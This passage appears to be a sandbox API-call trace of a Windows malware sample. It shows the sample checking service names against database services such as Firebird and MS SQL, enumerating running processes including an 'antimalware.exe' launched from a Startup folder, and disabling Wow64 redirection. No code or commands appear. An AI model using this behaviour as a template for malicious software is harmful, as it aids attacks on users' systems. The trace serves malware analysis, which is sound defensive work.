	[0177.294] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0177.294] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0177.294] lstrlenW (lpString="PlugPlay") returned 8
	[0177.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0177.294] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0177.294] lstrlenW (lpString="Power") returned 5
	[0177.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0177.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0177.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0177.294] lstrlenW (lpString="ProfSvc") returned 7
	[0177.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.295] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0177.295] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0177.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0177.295] lstrlenW (lpString="RpcEptMapper") returned 12
	[0177.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0177.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0177.530] lstrlenW (lpString="RpcSs") returned 5
	[0177.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0177.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0177.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0177.530] lstrlenW (lpString="SamSs") returned 5
	[0177.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0177.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0177.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0177.530] lstrlenW (lpString="Schedule") returned 8
	[0177.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0177.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0177.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0177.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0177.530] lstrlenW (lpString="SecurityHealthService") returned 21
	[0177.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0177.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0177.531] lstrlenW (lpString="SENS") returned 4
	[0177.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0177.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0177.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0177.531] lstrlenW (lpString="ShellHWDetection") returned 16
	[0177.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0177.531] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0177.531] lstrlenW (lpString="Spooler") returned 7
	[0177.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0177.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0177.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0177.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0177.531] lstrlenW (lpString="StateRepository") returned 15
	[0177.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0177.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0177.532] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0177.532] lstrlenW (lpString="SysMain") returned 7
	[0177.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0177.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0177.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0177.532] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0177.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0177.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0177.532] lstrlenW (lpString="Themes") returned 6
	[0177.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0177.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0177.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0177.532] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0177.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.532] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0177.533] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0177.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38d1e28 | out: hHeap=0x4f0000) returned 1
	[0177.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c
	[0177.538] Process32FirstW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0177.539] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0177.540] lstrlenW (lpString="System") returned 6
	[0177.540] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0177.541] lstrlenW (lpString="smss.exe") returned 8
	[0177.541] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.542] lstrlenW (lpString="csrss.exe") returned 9
	[0177.542] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0177.543] lstrlenW (lpString="wininit.exe") returned 11
	[0177.543] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.544] lstrlenW (lpString="csrss.exe") returned 9
	[0177.544] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0177.545] lstrlenW (lpString="winlogon.exe") returned 12
	[0177.545] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0177.546] lstrlenW (lpString="services.exe") returned 12
	[0177.546] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0177.547] lstrlenW (lpString="lsass.exe") returned 9
	[0177.547] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.548] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.548] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.549] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.549] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.550] lstrlenW (lpString="svchost.exe") returned 11
	[0177.550] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.551] lstrlenW (lpString="svchost.exe") returned 11
	[0177.551] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0177.552] lstrlenW (lpString="dwm.exe") returned 7
	[0177.553] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.554] lstrlenW (lpString="svchost.exe") returned 11
	[0177.554] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.555] lstrlenW (lpString="svchost.exe") returned 11
	[0177.555] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.556] lstrlenW (lpString="svchost.exe") returned 11
	[0177.556] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.557] lstrlenW (lpString="svchost.exe") returned 11
	[0177.557] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.558] lstrlenW (lpString="svchost.exe") returned 11
	[0177.558] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.656] lstrlenW (lpString="svchost.exe") returned 11
	[0177.656] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.657] lstrlenW (lpString="svchost.exe") returned 11
	[0177.657] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.666] lstrlenW (lpString="svchost.exe") returned 11
	[0177.666] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.667] lstrlenW (lpString="svchost.exe") returned 11
	[0177.667] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.668] lstrlenW (lpString="svchost.exe") returned 11
	[0177.668] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0177.669] lstrlenW (lpString="spoolsv.exe") returned 11
	[0177.670] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.874] lstrlenW (lpString="svchost.exe") returned 11
	[0177.874] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0177.875] lstrlenW (lpString="audiodg.exe") returned 11
	[0177.875] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0177.876] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0177.876] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0177.877] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0177.877] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0177.878] lstrlenW (lpString="sihost.exe") returned 10
	[0177.878] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0177.879] lstrlenW (lpString="Memory Compression") returned 18
	[0177.879] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.880] lstrlenW (lpString="svchost.exe") returned 11
	[0177.880] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0177.880] lstrlenW (lpString="taskhostw.exe") returned 13
	[0177.880] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0177.881] lstrlenW (lpString="msoia.exe") returned 9
	[0177.881] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0177.882] lstrlenW (lpString="explorer.exe") returned 12
	[0177.882] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0177.883] lstrlenW (lpString="SearchUI.exe") returned 12
	[0177.883] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0177.884] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0177.884] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0177.885] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0177.885] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0177.886] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0177.886] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0177.887] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0177.887] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0177.888] lstrlenW (lpString="dllhost.exe") returned 11
	[0177.888] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0177.889] lstrlenW (lpString="dllhost.exe") returned 11
	[0177.889] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0177.890] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0177.890] Process32NextW (in: hSnapshot=0x39c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0177.891] CloseHandle (hObject=0x39c) returned 1
	[0177.891] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 37
	os_tid = 0xe04

	[0132.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d7b0
	[0132.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x575cf0
	[0132.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d948
	[0132.412] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d948, Size=0x20) returned 0x52dba8
	[0132.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d918
	[0132.412] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d918, Size=0x20) returned 0x52dbd0
	[0132.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.412] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.412] Wow64DisableWow64FsRedirection (in: OldValue=0x273ff20 | out: OldValue=0x273ff20*=0x0) returned 1
	[0132.412] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dba8 | out: hHeap=0x4f0000) returned 1
	[0132.412] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dbd0 | out: hHeap=0x4f0000) returned 1
